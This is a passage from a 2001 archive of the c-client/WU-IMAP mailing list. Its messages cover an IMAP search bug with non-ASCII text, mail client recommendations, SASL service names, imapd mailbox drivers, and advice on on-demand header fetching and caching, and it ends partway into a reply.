07:21:26 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id HAA02996 for ; Thu, 29 Mar 2001 07:21:25 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Mar 29 07:21:25 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA31662; Thu, 29 Mar 2001 07:21:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2TFCDu09078; Thu, 29 Mar 2001 07:12:13 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2TF9Q255134 for ; Thu, 29 Mar 2001 07:09:26 -0800 Received: from mail.takas.lt (srvr3.telecom.lt [212.59.0.2]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2TF9Pb20714 for ; Thu, 29 Mar 2001 07:09:25 -0800 Received: from nnn (t1o301p4.telia.com [195.12.160.4]) by mail.takas.lt (8.9.1/8.9.0) with SMTP id RAA1640409; Thu, 29 Mar 2001 17:08:32 +0200 (GMT+0200) Message-Id: Date: Thu, 29 Mar 2001 18:08:21 +0200 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nerijus Baliunas" To: "Friedrich Lobenstock" Cc: "C-Client/WU-IMAP Mailing Liste" Subject: RE: Bogus criteria list in UID SEARCH In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Sorry to ask so stupid, but which client(Linux, optional Windows) is > best for use with WU-IMAP server? I've tried Mullbery once but I'm not > very satisfied with it. So what else is out there that you would > recommend?. http://mahogany.sourceforge.net . It uses c-client, so it really should work with wu-imapd ;) From pinedev@shivax2.cac.washington.edu Thu Mar 29 08:13:42 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Mar 2001 08:13:41 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id IAA27068 for ; Thu, 29 Mar 2001 08:13:40 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Mar 29 08:13:39 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA00815; Thu, 29 Mar 2001 08:13:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f2TGA3r20072; Thu, 29 Mar 2001 08:10:03 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2TG9F273816 for ; Thu, 29 Mar 2001 08:09:15 -0800 Received: from solefald.linuxinside.com (solefald.linuxinside.com [216.120.72.83]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f2TG9Fb01776 for ; Thu, 29 Mar 2001 08:09:15 -0800 Received: (from pruchai@localhost) by solefald.linuxinside.com (8.12.0.Beta5/8.12.0.Beta5) id f2TG9SLl019297; Thu, 29 Mar 2001 08:09:28 -0800 Message-Id: <20010329080928.A19272@solefald.linuxinside.com> Date: Thu, 29 Mar 2001 08:09:28 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Igor Pruchanskiy To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste , Mark Crispin Subject: Re: Bogus criteria list in UID SEARCH In-Reply-To: <3AC1F164.382B8C80@fl.priv.at>; from fl@fl.priv.at on Wed, Mar 28, 2001 at 04:12:52PM +0200 References: <3AC1CFDF.FB14E741@tbmm.gov.tr> <3AC1F164.382B8C80@fl.priv.at> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Sender: igor@linuxinside.com X-Operating-System: Linux 2.4.2 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx2.cac.washington.edu id IAA00815 "All mail clients suck. This one just sucks less." It's name is Mutt http://www.mutt.org It has more features then M$ Outlook. On Wed 28 Mar 2001, Friedrich Lobenstock wrote: > I'm having the a problem with UID SEARCH and German umlauts. > Here's what Netscape-Mail sent to the server(imap-2000c) and > the servers responses: >=20 > 22 uid SEARCH CHARSET iso-8859-1 UNDELETED BODY "gew=FCnscht" > 22 BAD Bogus criteria list in UID SEARCH >=20 > now without umlaut(=E4=C4=F6=D6=FC=DC=DF): > 23 uid SEARCH UNDELETED BODY "nscht" > * SEARCH 3 37 44 46 49 50 > 23 OK UID SEARCH completed =20 >=20 > Does imap-2000c only support 7Bit Ascii searching? > Is this fixed in imap-2001? >=20 > TIA for your help. >=20 > --=20 > MfG / Regards > Friedrich Lobenstock > --=20 > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see:=20 > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ >=20 From pinedev@shivax2.cac.washington.edu Sun Apr 1 12:45:45 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Apr 2001 12:45:45 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA04842 for ; Sun, 1 Apr 2001 12:45:44 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Apr 01 12:45:43 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA02101; Sun, 1 Apr 2001 12:45:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f31Jh9r08934; Sun, 1 Apr 2001 12:43:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f31Jds290608 for ; Sun, 1 Apr 2001 12:39:54 -0700 Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f31Jds718074 for ; Sun, 1 Apr 2001 12:39:54 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA142808 for ; Sun, 1 Apr 2001 15:38:33 -0400 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id PAA184096 for ; Sun, 1 Apr 2001 15:37:50 -0400 Received: from localhost (IDENT:ps9jw6t5WY9mUcPsR7D80j3SZ7ygVgoy@localhost [127.0.0.1]) by localhost (8.12.0.Beta5/8.12.0.Beta5/Debian 8.12.0-1) with ESMTP id f31JcOf7007023 for ; Sun, 1 Apr 2001 15:38:25 -0400 Message-Id: Date: Sun, 1 Apr 2001 15:38:21 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: c-client Subject: Sasl service name MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'd like to setup sasl so that plain-text passwords are automagically created to more secure versions - this entails creating a configuration file named .conf in the sasl library space. I've got sendmail, slapd already setup and would like to get pine (c-client, really) next. What services will pine (and/or c-client) set? I'm assuming: smtp (for delivery) imap (for reading) pop (for reading) nntp (for reading/posting) Are these the proper names passed to SASL? are there others? -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 1 13:48:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 1 Apr 2001 13:48:29 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id NAA27920 for ; Sun, 1 Apr 2001 13:48:28 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Apr 01 13:48:27 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA06389; Sun, 1 Apr 2001 13:48:25 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f31Kjhr30242; Sun, 1 Apr 2001 13:45:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f31KhZ267818 for ; Sun, 1 Apr 2001 13:43:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (nobu@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f31KhZb06967 for ; Sun, 1 Apr 2001 13:43:35 -0700 Message-Id: Date: Sun, 1 Apr 2001 13:19:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client Subject: re: Sasl service name In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 1 Apr 2001 15:38:21 -0400 (EDT), Richard A Nelson wrote: > I'd like to setup sasl so that plain-text passwords are automagically > created to more secure versions - this entails creating a configuration > file named .conf in the sasl library space. > > I've got sendmail, slapd already setup and would like to get pine > (c-client, really) next. This question isn't particularly meaningful in the c-client context. c-client is essentially a passive player when it comes to SASL. You're thinking about the Cyrus/SASL way of doing things. c-client is a completely different implementation of SASL. It's somewhat like asking "how do I change the Windows registry on UNIX?"...although the strictly literal answer is "you can't do that" the more general answer is "you accomplish things in a different way on UNIX than a registry -- what do you want to do?" Your message doesn't give me enough enough detail to understand your goals, but here's a few notes that will get you started. If you'll contact me offline with your specific goals, I'll try to give you more specifics on how to do it. c-client will automatically use the most secure authentication mechanism which it and the server mutually agree to, falling back to less secure mechanisms (again, by mutual agreement). This differs from the Cyrus/SASL library way of doing things, which requires that the user know what authentication to use and configure the client appropriately. The downside of c-client's way of doing things is that if an authentication mechanism requires an independent database because the /etc/passwd database is unusable (e.g. in CRAM-MD5), and if the user is not set in the new database, it will still try three times to authenticate via CRAM-MD5 before it will back back to PLAIN. The other piece of the puzzle is whether or not a PLAIN password should be automatically registered in the other databases; e.g. should a PLAIN password be registered in the CRAM-MD5 database? In the c-client view of things, this is a server issue. The c-client based servers don't do this since in c-client there is no such thing as separate PLAIN and CRAM-MD5 databases; if a CRAM-MD5 database exists it is also the database for PLAIN. The basic philosophy here is that a secure database should not be registered via an insecure mechanism such as plaintext passwords. From pinedev@shivax2.cac.washington.edu Tue Apr 3 15:55:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Apr 2001 15:55:20 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id PAA25409 for ; Tue, 3 Apr 2001 15:55:19 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Apr 03 15:55:18 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA19592; Tue, 3 Apr 2001 15:55:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f33MqP523328; Tue, 3 Apr 2001 15:52:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f33MkU2103558 for ; Tue, 3 Apr 2001 15:46:31 -0700 Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f33MkUb00647 for ; Tue, 3 Apr 2001 15:46:30 -0700 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA19976 for ; Tue, 3 Apr 2001 15:46:29 -0700 (PDT) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA18101 for ; Tue, 3 Apr 2001 15:46:29 -0700 (PDT) Message-Id: <1616993.986312802@nifty-jr.west.sun.com> Date: Tue, 03 Apr 2001 15:46:42 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: c-client Interest List Subject: [RESEND] Re: Sasl service name MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The official registry for service names is at: "imap" and "pop" are registered. "smtp" is defined in RFC 2554 (and I just reminded IANA to register it), note that it only effectively applies to authenticated SMTP. NNTP doesn't have a finalized spec for authentication yet, but the most recent draft uses "news" as the service name, so that's what will be registered once the draft is finalized unless there are objections (the draft will be reviewed by the NNTP extensions WG). Certain SASL mechanisms require the use of service names, including: * Kerberos 5 (GSSAPI) RFC 2222 * Kerberos 4 (KERBEROS_V4) RFC 2222 * DIGEST-MD5 RFC 2831 Kerberos 5 also defines the concept of the "host" service name as a catch-all. Kerberos 4 implementations often use "rcmd" as a catch-all. The theory behind service names is that one can use different tickets for different services so that granting a user access to one service on a given host doesn't automatically grant them access to all services on that host. You'll have to ask Mark Crispin about the APIs used between the c-client SASL layer and the c-client library, as well as how they provide for service names. - Chris From pinedev@shivax2.cac.washington.edu Thu Apr 5 08:18:49 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Apr 2001 08:18:48 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id IAA19493 for ; Thu, 5 Apr 2001 08:18:47 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Apr 05 08:18:46 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA16954; Thu, 5 Apr 2001 08:18:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f35FEf715322; Thu, 5 Apr 2001 08:14:41 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35F62K17148 for ; Thu, 5 Apr 2001 08:06:02 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35F5tb06737 for ; Thu, 5 Apr 2001 08:06:01 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f35F5r218624; Thu, 5 Apr 2001 17:05:53 +0200 Message-Id: Date: Thu, 5 Apr 2001 17:05:53 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: imap-2000 and mailbox drivers MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fl@www.scotty.co.at X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! While browsing the source code of imap-2000 I found that the imap-server itself includes the following mailbox drivers. mail_link (&imapdriver); /* link in the imap driver */ mail_link (&nntpdriver); /* link in the nntp driver */ mail_link (&pop3driver); /* link in the pop3 driver */ Now, how can I get imapd to speek to an other imap, nntp or pop3 server in the background, so I'd just see another folder? Is it possible to do it with netscape mail as mail client or are those special features only supported in special clients. -- MfG / Regards Friedrich Lobenstock ____________________________________________________________________ Friedrich Lobenstock FL226-RIPE Internetservices URL: http://www.fl.priv.at/ Email: fl@fl.priv.at ____________________________________________________________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 5 10:59:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Apr 2001 10:59:58 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id KAA15906 for ; Thu, 5 Apr 2001 10:59:57 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Apr 05 10:59:57 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA24448; Thu, 5 Apr 2001 10:59:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f35Hrw716836; Thu, 5 Apr 2001 10:54:00 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35HfeK70620 for ; Thu, 5 Apr 2001 10:41:40 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35Hfd712842 for ; Thu, 5 Apr 2001 10:41:39 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f35Hfc140804 for ; Thu, 5 Apr 2001 19:41:38 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f35HfbU23021 for ; Thu, 5 Apr 2001 19:41:37 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA27526 ; Thu, 5 Apr 2001 19:41:37 +0200 Message-Id: <200104051741.TAA27526@seth.lpthe.jussieu.fr> Date: Thu, 5 Apr 2001 19:41:27 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: how to cache IMAP headers? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am looking for advice about implementing caching of the headers of the IMAP folders. Currently, our program retrieves all messages from the folder each time it is opened which is too slow for big folders. As a temporary work around, we limit the number of messages retrieved to some optional number (100) but it's not really a solution because sometimes you need more headers than the configured limit and sometimes retrieveing even 100 of them is still too slow. So the logical (I hope!) idea is to cache the headers locally. However there is a problem of synchronisation - how can I know if the cached headers still correspond to the ones on the server? For a local file, I'd just save the file modification time (and/or size, and/or MD5 hash depending on paranoia level) in the header cache file and check it when opening the folder but I don't see any way to do something like this with a remote IMAP folder. I can test if the cached UIDs still correspond to the current msgnos which should let me detect if any messages were deleted from server, but I don't know at all how to detect changes to the message flags - i.e. if the message was read from another client, how can I know when reopening the folder that its \SEEN flag changed? I'd be very grateful for any ideas or pointers to documentaion/code/whatever! Thanks in advance, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 5 12:53:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Apr 2001 12:53:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA01959 for ; Thu, 5 Apr 2001 12:53:14 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Apr 05 12:53:14 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29063; Thu, 5 Apr 2001 12:53:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f35Jov730370; Thu, 5 Apr 2001 12:50:57 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35Jf8K31332 for ; Thu, 5 Apr 2001 12:41:08 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rambo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f35Jf8M31451 for ; Thu, 5 Apr 2001 12:41:08 -0700 Message-Id: Date: Thu, 5 Apr 2001 11:57:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: how to cache IMAP headers? In-Reply-To: <200104051741.TAA27526@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 5 Apr 2001 19:41:27 +0200 (CET), Vadim Zeitlin wrote: > I am looking for advice about implementing caching of the headers of the > IMAP folders. Currently, our program retrieves all messages from the folder > each time it is opened which is too slow for big folders. As a temporary > work around, we limit the number of messages retrieved to some optional > number (100) but it's not really a solution because sometimes you need more > headers than the configured limit and sometimes retrieveing even 100 of them > is still too slow. A review of RFC 1733 can be helpful in understanding this. There's an old military slogan: "There's three ways to do something: the right way, the wrong way, and the Army way. Do it the Army way." You've discovered the wrong way to get message header data at startup, and you know why it is wrong. There is a right way, involving caching and synchronization. Synchronization is done using UIDs (unique identifiers), not MD5 hashes. IMAP UIDs have a number of interesting and useful properties that are often overlooked by programmers who are accustomed to using MD5 hashes and/or POP3 UIDs; fully exploiting these capabilities requires careful study. However, you should also consider the IMAP way. The rest of this message will be about the IMAP way. You will hear from other folks how to do the right way. All I will say is "many have tried; most have failed." Many programmers overlook the IMAP way. The IMAP way is the only good way when you have users who share client machines and/or use multiple clients, because it does not require a cache. Nor does it require large downloading. But it's completely foreign to anyone who's used to POP. Pine is the epitome of a client that does things the IMAP way. This is why Pine is so much faster/better than most other IMAP clients. In the IMAP way, you retrieve data on demand, and anticipate limited additional needs. For example, at startup time, the need is to draw the initial message browser. To do this, you only need to have the information for the messages which will be visible. You don't need information about messages which are scrolled out of the current view. Your first decision is "where do I position the initial view?" By virtue of opening the mailbox, you know how many messages there are and which is the lowest-numbered message which does not have \Seen status. So, given a browser with n visible rows, you know enough to position the first n messages, the last n messages, or n messages around the first unseen message. If you want a different position, you may have to do a SEARCH command. So, assuming that you've decided upon a position. You now need to draw the browser view. You can't do this without information for message n. So, at this point, you get it. If you're used to POP, you may want to do a TOP command to get the header. Or, you might decide to get the IMAP "ENVELOPE", which has the information you probably need already digested for you; it's the equivalent of NNTP overviews. You may find that having the flags and size are also convenient, so you may decide to use "ALL" (which incorporates all of this) or "FULL" (which also gives you the BODYSTRUCTURE). I'd advise against using "FULL" unless you really need the MIME structure at this point, e.g. to draw a paperclip icon by messages which have attachments. You now have what you need to draw the browser line for message n, so you draw it. Now, the problem with fetching just the data for that one message is that doing a fetch per-message will whack you with so many round trips that your client will be just as slow as one that does the Big Download. So, you do some caching and anticipating. Here's how that works. Caching is easy. Once you get the data for a message, remember it in your client's memory. That way, if you need to draw that browser line again, you have it at hand. Now, for anticipation. Given that you're drawing a browser line, you probably will want to draw for the next several messages. Pick a number, e.g. 20, of messages which is not noticably more expensive to fetch than just 1. Now, when you fetch-on-demand for a message, fetch ahead 20 messages IF THEY ARE NOT ALREADY IN THE CACHE. So, you look ahead in your cache up to 20 message, and if you see a hole, add that to the fetch request. So, suppost you're at message 1 and this is just after startup. You'd end up doing tag FETCH 1:20 ALL This means that when the browser goes to draw message 2, it'll find it already in the cache so it doesn't do an IMAP command. As the user scrolls through the browser, do subsequent fetching as necessary whenever a cache fault happens. But never do the Big Download. Of course, the equivalent of the Big Download will happen if the user scrolls through his entire mailbox, but it'll be broken up into smaller chunks so that the user doesn't really notice that it happens. NOW, here comes the really good news: c-client does the caching and anticipation for you! All you have to do is ask c-client for message information on demand. Of course, you have to use envelopes; that is, mail_fetch_structure() and/or its aliases such as mail_fetchenvelope(). If you use mail_fetch_header(), you won't get that benefit. From pinedev@shivax2.cac.washington.edu Thu Apr 5 23:13:35 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Apr 2001 23:13:35 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id XAA05979 for ; Thu, 5 Apr 2001 23:13:34 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Apr 05 23:13:33 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA13322; Thu, 5 Apr 2001 23:13:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3669B708206; Thu, 5 Apr 2001 23:09:11 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3662TK78800 for ; Thu, 5 Apr 2001 23:02:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (edm@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3662TM05132 for ; Thu, 5 Apr 2001 23:02:29 -0700 Message-Id: Date: Thu, 5 Apr 2001 22:59:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: imap-2000 and mailbox drivers In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 5 Apr 2001 17:05:53 +0200 (CEST), Friedrich Lobenstock wrote: > 